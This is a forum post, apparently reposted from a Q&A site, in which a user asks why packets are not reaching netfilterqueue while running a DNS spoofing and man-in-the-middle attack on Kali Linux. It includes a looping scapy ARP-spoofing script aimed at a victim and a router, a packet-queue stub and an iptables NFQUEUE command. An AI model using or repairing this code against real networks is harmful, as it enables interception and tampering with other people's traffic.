[Python] Packets are not being processed with netfilterqueue in kali linux

Discussão em 'Python' iniciado por Stack, Março 22, 2025.

  1. Stack

    Stack Membro Participativo

    I am trying to run a DNS Attack using scapy and netfilterqueue.

    I have created a script that allows me to run the man in the middle attack. I simply send 2 packets to a computer and a router the false IP's and the mac addresses. Here is the script :

    In sniffer.py :

    import scapy.all as scapy
    from scanner import scan

    #NOTE: The scanner module takes in an IP Address and finds the
    #corresponding Mac Address for it.

    def spoof(target_ip, spoof_ip, mac_address) :
    packet = scapy.ARP(op = 2, pdst = target_ip, hwdst=mac_address,psrc=spoof_ip)
    scapy.send(packet, verbose = False)

    router_mac_address = scan(<victim's_ip>)
    target_mac_address = scan(<router's_ip>)

    while True :
    spoof(<victim's_ip>, <router's_ip>, target_mac_address)
    spoof(<router's_ip>, <victim's_ip>, router_mac_address)
    time.sleep(2)


    I have also created a net_cut.py file that will capture the packets in a queue and read them to me so that I can modify them. I have created a queue with num = 0 by typing iptables -I FORWARD -j NFQUEUE --queue-num 0 in the terminal emulator.

    In net_cut.py:

    import netfilterqueue

    def process_packet() :
    print(packet)
    queue=netfilterqueue.NetfilterQueue()
    queue.bind(0, process_packet)
    queue.run()


    The problem arises when I try running both of these scripts at the same time. Please note that I am using the terminator, not the normal terminal that comes preinstalled on kali linux.

    When I run these scripts at the same time, the print() statement does not run, so I am quite sure that the program is not reading the packets. In fact, nothing gets outputted in the terminal. The same thing happens when I try sniffing the packets - nothing is outputted, even when I am accessing HTTP websites rather than HTTPS websites.

    I am not sure what I am doing wrong. Am I not creating the queues correctly? Or is there a problem with my spoofer.py file?

    Thank you for any helps or tips you can give.

    Continue reading...

Compartilhe esta Página